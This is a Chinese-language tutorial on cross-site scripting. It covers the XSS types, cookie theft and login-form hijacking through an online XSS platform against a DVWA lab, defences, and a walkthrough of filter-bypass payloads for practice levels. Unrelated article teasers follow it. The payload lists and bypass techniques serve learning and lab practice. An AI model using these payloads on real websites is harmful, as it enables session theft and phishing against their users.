xss跨站脚本攻击总结

XSS(跨站脚本攻击)

跨站脚本攻击(Cross Site Scripting),为了不和层叠样式表(Cascading Style Sheets )CSS的缩写混淆,故将跨站脚本攻击缩写为XSS。恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码就会被执行,从而达到恶意攻击用户的目的。

原理

SQL注入是服务端将用户输入的数据当成SQL代码去执行

XSS可以理解为服务端把用户输入的数据当成前端代码去执行。 前端代码(JS代码)

利用条件

第一个就是用户能控制输入

第二个是原本程序要执行的代码,拼接了用户输入的数据

XSS主要拼接什么?

SQL注入拼接的是操作数据库的SQL语句。XSS拼接的是网页的HTML代码,一般而言我们是可以拼接出合适的HTML代码去执行恶意的JS语句(总结:XSS就是拼接恶意的HTML)

XSS的危害

1、获取用户信息(如浏览器信息、IP地址、cookie信息等),盗取cookie(用的最频繁的) cookie相当于一个人的身份证。

2、钓鱼(利用XSS漏洞构造出一个登录框,骗取用户账号密码,提示登录过期,模拟一个网站的登录框,将用户名。密码发送到攻击者服务器。)

3、后台增删改网站数据等操作(配合CSRF漏洞,骗取用户点击,利用js模拟浏览器发包)

4、xss糯虫(微博糯虫:只要看过某人的微博就是自动关注某人;贴吧糯虫:看过某个帖子就是自动回复这个帖子)

5、获取内网IP(攻击内网)

6、获取浏览器保存的明文密码

7、截取网页屏幕

8、网页上的键盘记录

等等

XSS的分类

1、反射型

反射型XSS又称非持久性XSS,这种攻击往往具有一次性;

主要存在于攻击者将恶意脚本附加到url的参数中,发送给受害者,服务端未经严格过滤处理而输出在用户浏览器中,导致浏览器执行代码数据。

攻击流程:
1、攻击者发现反射型xss的url
2、根据输出点环境构造xss代码
3、进行编码、缩短(为了增加迷惑性)
4、发送给受害者
5、受害者点开链接,xss代码执行 ,完成攻击者代码功能。

攻击者通过邮件等形式将包含XSS代码的链接发给正常用户,当用户点击时,服务器接受该用户的请求并进行处理,然后把带有XSS的代码发送给用户。用户浏览器解析执行代码,触发XSS漏洞。

<script>alert(1)</script>    这个代码弹窗成功,意味着我们的HTML代码可以执行

提交的数据成功的实现了XSS,但是仅仅是对这次访问产生了影响,是非持久型攻击

<script>alert(document.cookie)</script>    这个代码就是盗取cookie

可用于钓鱼、引流、配合其他漏洞如CSRF等

怎么去寻找反射型xss?或者反射型xss的利用场景

见框就插,修改url参数。

Payload
经典测试  <sciprt>alert('hack')</script>
大写绕过  <SCRIPT>alert('hack')</SCRIPT>
双写绕过  <scr<script>ipt>alert("xss")</script>
其他标签  <img src=1 onerror=alert('hack')/>

2、存储型

存储型XSS又称持久性XSS,攻击脚本存储在目标服务器的数据库中,具有更强的隐蔽性。

主要存在于攻击者将恶意脚本存储到服务器数据库中,当用户访问包含恶意相关数据的页面时,服务端未经严格过滤处理而输出在用户浏览器中,导致浏览器执行代码数据。

多见于评论留言,个人信息等处。

攻击者在论坛、博客、留言板中,发帖的过程中嵌入XSS攻击代码,帖子被目标服务器存储在数据库中。当用户进行正常访问时,触发XSS代码。

<script>alert(document.cookie)</script>

攻击范围广,流量传播大,可配合其他漏洞。

3、DOM型

HTML标签都是节点,节点组成了节点树。通过HTML DOM 可以对树上的所有节点进行修改。

服务器响应不会处理攻击者脚本,而是用户浏览器处理这个响应时,DOM对象就会处理XSS代码,触发XSS漏洞。

通过JavaScript操作document,实现dom树的重构。主要存在于用户能修改页面的dom,造成客户端padload在浏览器中执行。

4、HTTPonly

什么是httponly?

如果你在cookie中设置了httponly属性,那么通过js脚本将无法读取到cookie信息,这样能有效的防止xss攻击。

ps:只是防止cookie被读取,一定程度上防止xss攻击,但是并不能阻止xss攻击。或者阻止xss漏洞。

如果httponly开启之后,怎么去拿到后台?由于是拿到后台

有两种思路:

1、cookie获取进入后台

2、直接账号密码登录

(1)保存读取

利用xss去读取网站保存的信息

xss有个模块就是获取保存的明文账号密码。

(2)未保存读取

通过表单劫持,也就是让网站在输入账号密码发送数据包的时候,再发送一份给xss平台。

但是这里需要注意的是,此时的xss漏洞要存在于登陆框,如果不在登陆框,那么也是不行的。

5、利用xss平台

利用XSS平台,然后就可以开始操作了。

xss平台自己搭建,或者使用别人搭建好的线上的。推荐线上https://xss.yt

但是线上不好的地方就是,你这里面的数据,别人能看到。

第一步先创建项目

image-20230711233356682

第二步勾选配置

这里直接勾选第一个配置就行。

image-20230711233452179

第三步点击右上角查看代码

image-20230711233716678

然后直接复制第一个代码到,有xss的地方。这里我们使用dvwa的存储型靶场。

image-20230711233840213

刷新页面之后。

回到我们的xss平台。

image-20230711233935559

发现我们界面被截图,而且得到了cookie,浏览器信息很多。

6、防御

1、阻止恶意代码注入

对拼接的HTML代码进行严格的过滤和限制

2、阻止恶意操作执行

不管是反射型还是存储型xss,都能通过服务端过滤进行防御。

黑名单:过滤特殊符号及字符

如< > % # / " ’ ; ( ) script svg object on事件等

白名单:只允许特定类型或符号

编码及转义

输出在标签或属性中进行HTML编码;

输出在script标签或事件中进行JavaScript编码

输出在url中进行url编码

cookie中设置httponly

setcookie将httponly选项设置为ture,防范cookie劫持

确保执行脚本来源可信

开发者明确告诉客户端,哪些外部资源可以加载和执行。

不使用有缺陷的第三方库

7、XSS靶场

1、无过滤

没有任何过滤,直接在get请求方式的参数name中写入

<sciprt>alert(1)</script>

2、有双引号

发现在代码中,存在双引号,我们输入的代码会被写入到value" " 里面

<input name=keyword  value="test">

所以构造payload

test"><script>alert(1)</script>"
或者
test"><script>alert(1)</script>//     //这是注释符的意思

<input name=keyword  value="test">   <script>alert(1)</script>  "">  这样就完成了闭合

3、有单引号而且<>被过滤

<input name=keyword  value='test123'>	

发现这是一个单引号闭合。

test'><script>alert(1)</script>'
或者
test'><script>alert(1)</script>//

<input name=keyword  value='test'>    <script>alert(1)</script>    ''>	

但是问题并没有这么简单,这不是一个简单的单引号闭合,而是<>也被过滤了。

查看源代码发现有这个函数 htmlspecialchars

这个函数的功能就是将特殊字符转换为HTML实体。

所以在构造payload的时候,不能使用带有< > " ’ 等字符

(1)构造标签事件进行过滤

因为返回值在input标签中,所以尝试构造onclick事件触发xss

' onclick=alert(1)//    前面的' 是为了闭合前面的'

<input name=keyword  value=''  onclick=alert(1)   //'>	

这里为什么存在htmlspecialchars函数,但是' 还是没有被过滤?

扩展:

如果在过滤时.htmlspecialchars加上ENT_QUOTES选项的话则无法进行xss注入,因为这里的 ’ 也被转换,导致引号无法闭合,无法执行注入语句。

(2)构造JavaScript伪协议

' onmouseover='javascript:alert(1)'

4、双引号而且<>被过滤

(1)javascript伪协议

" onmouseover='javascript:alert(1)"     由于这里是双引号闭合,所以前面需要双引号   

(2)构造标签事件进行过滤

" onclick=alert(1)//

这里是通过对< >进行替换,没有使用函数。所以上面的两个方法还是能实现。

5、过滤了script和on

也就是我们上面的两个方法都不能使用了。但是没有过滤<>

<input name=keyword  value="tset">

尝试利用没有过滤尖括号,构造a标签再尝试利用a标签的href属性执行javascript:伪协议,

"><a href='javascript:alert(1)'>//

<input name=keyword  value="tset">

<input name=keyword  value="">  
<a href='javascript:alert(1)'>//">

没有对javascript进行过滤,触发xss

6、过滤了script和on还有href

"><a HREF='javascript:alert(1)'>//

利用大小写HREF绕过

7、将特殊符替换为空

这里将script、on、src、data、href直接替换为空。同时将大写转为小写,也就是大小写绕过也被禁止了。

但是由于只替换了一次,所以通过双写就能绕过。

" oonnclick="alert(1)"//    由于on被替换,但是只替换一次

" onclick="alert(1)"//     而且从左向右,所以中间的on被替换为空

同时还可以使用 JavaScript伪协议

" oonnmouseover="javascscriptript:alert(1)"//

同理 构造a标签

" /><a hrhrefef="javascscriptript:alert(1)">a</a>//

8、基本过滤完全

不仅把script、on、data、src、href直接过滤了,大小写也被过滤,还将 " 双引号替换为空。

大部分的弹窗函数都被过滤掉,这时我们只能HTML实体化。

javascript:alert(1)   实体化为
&#x6A;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;:alert(1)

由于在搜索框的注入点,过滤很完全,所以另寻办法找其他注入点。

所以需要先添加友情链接,然后在友情链接那里,进行绕过,然后弹窗

9、检查http://

这里不仅过滤了第八关的,而且还会在我们添加友情链接的时候检查有没有http://,如果有那么才是有效链接。

那么我们直接在后面加上http://,再把http://注释。

&#x6A;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;:alert(1)//http://

10、更换注入点

发现没有了框,但是是GET请求方式,有变量keyword。

但是在keyword变量这里怎么注入都不行。

查看源码发现还有一个变量,为t_sort,而且在t_sort变量中过滤了<>

onclick="alert(1)"// 

所以在变量t_sort后面value后面加上 οnclick=“alert(1)”// 并且将type由hidden改为text,然后输入框就显示出来了,再去点击输入框即可。

11、ng-include

12、img

通常使用于script被过滤的情况下。

<img%0asrc=123%0aonerror=alert(1)>

%0a是因为过滤了空格的原因,如果没有过滤空格,那么就不需要%0a

13、注释过滤

这一招是在dvwa的中等medium模式下学到的

井号在php中是单行注释,提交时会将后面的内容注释掉,但是也会带入到html当中当作js代码执行

14、弹窗语句总结

<script>alert(1)</script>
<a href="javascript:alert(1)">aaaa</a>
<img src=1 onerror="alert(1)">
<svg onload="alert(1)">  //onerror    当加载文档或图像时发生某个错误
<iframe src="javascript:alert(1)"></iframe>
<iframe onload="alert(1)"></iframe>
 
无<>的弹窗语句
onclick="alert(1)"     //鼠标单击事件
onmouseover="alert(1)" //鼠标悬浮事件

最后还有很多的绕过姿势,推荐博客

https://blog.csdn.net/qq_53079406/article/details/123901260

15、有关seesion

cookie:存储本地   存活时间较长  小中型
session: 会话  存储服务器  存活时间较短  大型企业使用

ps:这里啊有个问题,如果网站是通过session验证,那么用xss是无法盗取管理者的seesion,因为seesion是存储到服务器的,而没有存储到本地。

但是呢,还有一个问题就是,如果能操作网站去访问phpinfo界面,在phpinfo界面里,存在cookie,而在这个cookie里面,就有seesion。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/40989.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

力扣 332. 重新安排行程

一、题目描述 给你一份航线列表 tickets&#xff0c;其中 tickets[i] [fromi, toi] 表示飞机出发和降落的机场地点。请你对该行程进行重新规划排序。 所有这些机票都属于一个从 JFK&#xff08;肯尼迪国际机场&#xff09;出发的先生&#xff0c;所以该行程必须从 JFK 开始。…

ARM微控制器 AM2432BSEFHIALXR、AM2432BSFFHIALV技术参数(32位MCU)

1、AM2432BSEFHIALXR 32位MCU采用293引脚FCCSP封装&#xff0c;工作频率最高可达800MHz。该微控制器专为需要结合处理和实时通信的工业应用而构建&#xff0c;例如远程I/O模块和电机驱动器。 核心处理器&#xff1a;ARM Cortex-M4F&#xff0c;ARM Cortex-R5F 内核规格&#xf…

浅谈下mvc和mvp、mvvm到mvvm+Jetpack

作者&#xff1a;抓不住老鼠的猫 三种架构模式 MVC MVC全名为Model-View-Controller&#xff0c;图解如下 View&#xff1a;负责与用户交汇&#xff0c;显示界面。Controller&#xff1a;负责接收来自view的请求&#xff0c;处理业务逻辑。Model&#xff1a;负责数据逻辑&…

vue学习笔记(一)

1.编辑器选择 是用vscode 和 webstrom 个人感觉 vscode的插件比较多&#xff0c;对vue3的支持比较好 webstorm的自动保存比较好 各有优劣吧 我学习的这个项目目前采用vscode 2.vue2 还是 vue3 框架学通了都是通用的&#xff0c;这个时间点来学肯定是学vue3 只是顾虑到团…

Java利用POI导入Excel数据(多个sheet、模板)

需求&#xff1a;根据excel模板导入数据 sheet1&#xff1a;1-6行为固定格式&#xff0c;且需要取值({xxx});7行开始为数据集合(list) sheet2&#xff1a;都为固定格式&#xff0c;取值地方&#xff1a;{xxx} 1、数据格式&#xff08;两个Sheet&…

【redis】redis管道简述

redis管道可以一次性发送多条命令。 命令示例如下&#xff1a; [xxxlocalhost ~]$ echo -e "set k4 99\nincr k4\nget k4" | nc localhost 6379 \OK :100 $3 100下面先简述一下这条命令的组成&#xff0c;再简述一下管道的常用场景和注意事项。 首先&#xff0c;|是…

arping命令 ip地址冲突检测 根据ip查mac地址

arping命令介绍 arping 命令主要用来获取ip对应的mac地址&#xff0c;更新本地arp缓存表。平时主要用来探测ip地址是否冲突即同一个网络里&#xff0c;同一个ip不同mac地址的情况。ip地址冲突将导致网络故障。 arping常用命令参数 arping [参数] ip -U 强制更新邻近主机的a…

JVM系列(8)——对象的内存布局

1、对象的创建过程 加载-验证-准备-解析-初始化-申请内存-成员变量赋初始值-加载构造方法。 前半段是JVM系列&#xff08;5&#xff09;——类加载过程&#xff0c;申请内存可参考&#xff1a;JVM系列&#xff08;3&#xff09;——内存分配与回收策略。 2、对象在内存中的存…

81. 正则表达式

一、概述二、匹配单个字符三、匹配一组字符四、使用元字符五、重复匹配六、位置匹配七、使用子表达式八、回溯引用九、前后查找十、嵌入条件参考资料 一、概述 正则表达式用于文本内容的查找和替换。 正则表达式内置于其它语言或者软件产品中&#xff0c;它本身不是一种语言或…

高时空分辨率、高精度一体化预测技术的风、光、水自动化预测技术的应用

第一章 预测平台讲解及安装 一、高精度气象预测基础理论介绍 综合气象观测数值模拟模式&#xff1b; 全球预测模式、中尺度数值模式&#xff1b; 二、自动化预测平台介绍 Linux系统 Crontab定时任务执行机制 Bash脚本自动化编程 硬件需求简介 软件系统安装 …

ylb-接口2首页产品数据和接口3产品列表

总览&#xff1a; 1、service处理&#xff08;分页查询&#xff09; 在api模块下service包&#xff0c;创建一个产品接口ProductService&#xff1a;&#xff08;目前方法为分页查询queryByTypeLimit(Integer pType,Integer pageNo,Integer pageSize)&#xff09; package…

矩阵AB和BA的特征值相同

手写的&#xff0c;如下图&#xff1a; 即可证明&#xff0c;矩阵AB的特征值和BA的特征值相同。 关于矩阵转置和逆矩阵混合运算&#xff0c;有如下规律&#xff1a;

Elasticsearch 介绍及java集成

一、Elasticsearch 基础介绍 ElasticSearch 是分布式实时搜索、实时分析、实时存储引擎&#xff0c;简称&#xff08;ES)&#xff0c; 成立于2012年&#xff0c;是一家来自荷兰的、开源的大数据搜索、分析服务提供商&#xff0c;为企业提供实时搜索、数据分析服务&#xff0c;…

(学习笔记-TCP连接断开)建立了连接,但是客户端或服务端出现问题,会怎么样?

客户端突然出现故障 客户端出现故障指的是客户端的主机发生了宕机或者断电的场景。发生这种情况的时候&#xff0c;如果服务端一直不会发送数据给客户端&#xff0c;那么服务端是永远无法感知到客户端宕机这件事的&#xff0c;也就是服务端的TCP连接将一直处于ESTABLISH 状态&…

【软考】系统架构设计风格分类的个人理解

个人适当学习了软考系统架构设计师中关于系统架构设计相关的内容&#xff0c;梳理了一下相关信息。 常见架构类型和常见分类 常见的软考中出现的系统架构列举如下&#xff1a; 分层架构管道-过滤器架构客户端-服务器架构模型-视图-控制器架构&#xff0c;即MVC架构事件驱动架…

AutoDL 训练stable-diffusion lora模型

1.创建镜像实例 2. 启动实例 3.启动服务 4.配置参数 4.1 基础模型选择 4.2 文件路径设置 5.点击打印训练信息 6.训练模型&#xff08;点击Train model&#xff09;

SpringBoot整合knife4j

knife4j 文档地址&#xff1a;https://doc.xiaominfo.com/ knife4j是为Java MVC框架集成Swagger生成Api文档的增强解决方案。 Swagger介绍 前后端分离开发模式中&#xff0c;api文档是最好的沟通方式。 Swagger 是一个规范和完整的框架&#xff0c;用于生成、描述、调用和…

华为发布大模型时代AI存储新品

7月14日&#xff0c;华为发布大模型时代AI存储新品&#xff0c;为基础模型训练、行业模型训练&#xff0c;细分场景模型训练推理提供存储最优解&#xff0c;释放AI新动能。 企业在开发及实施大模型应用过程中&#xff0c;面临四大挑战&#xff1a; 首先&#xff0c;数据准备时…

STM32学习笔记(十三)丨USART通用同步/异步收发器(串口外设的基本使用丨串口发送数据、串口发送+接收数据)

本篇文章包含的内容 一、STM32的USART外设1.1 STM32的USAER外设简介1.2 USART外设的结构和工作原理1.3 串口通信数据帧1.4 起始位侦测和USART的噪声判断机制1.5 波特率发生器 二、串口发送和接收数据包2.1 HEX数据包2.2 文本数据包2.3 固定包长HEX数据包接收2.4 可变包长文本数…

【2023 年第三届长三角高校数学建模竞赛】B 题 长三角新能源汽车发展与双碳关系研究 18页论文、数据和代码

【2023 年第三届长三角高校数学建模竞赛】B 题 长三角新能源汽车发展与双碳关系研究 18页论文、数据和代码 1 题目 《节能与新能源汽车技术路线图 2.0》提出至 2035 年&#xff0c;新能源汽车市场占比超过 50%&#xff0c;燃料电池汽车保有量达到 100 万辆&#xff0c;节能汽车…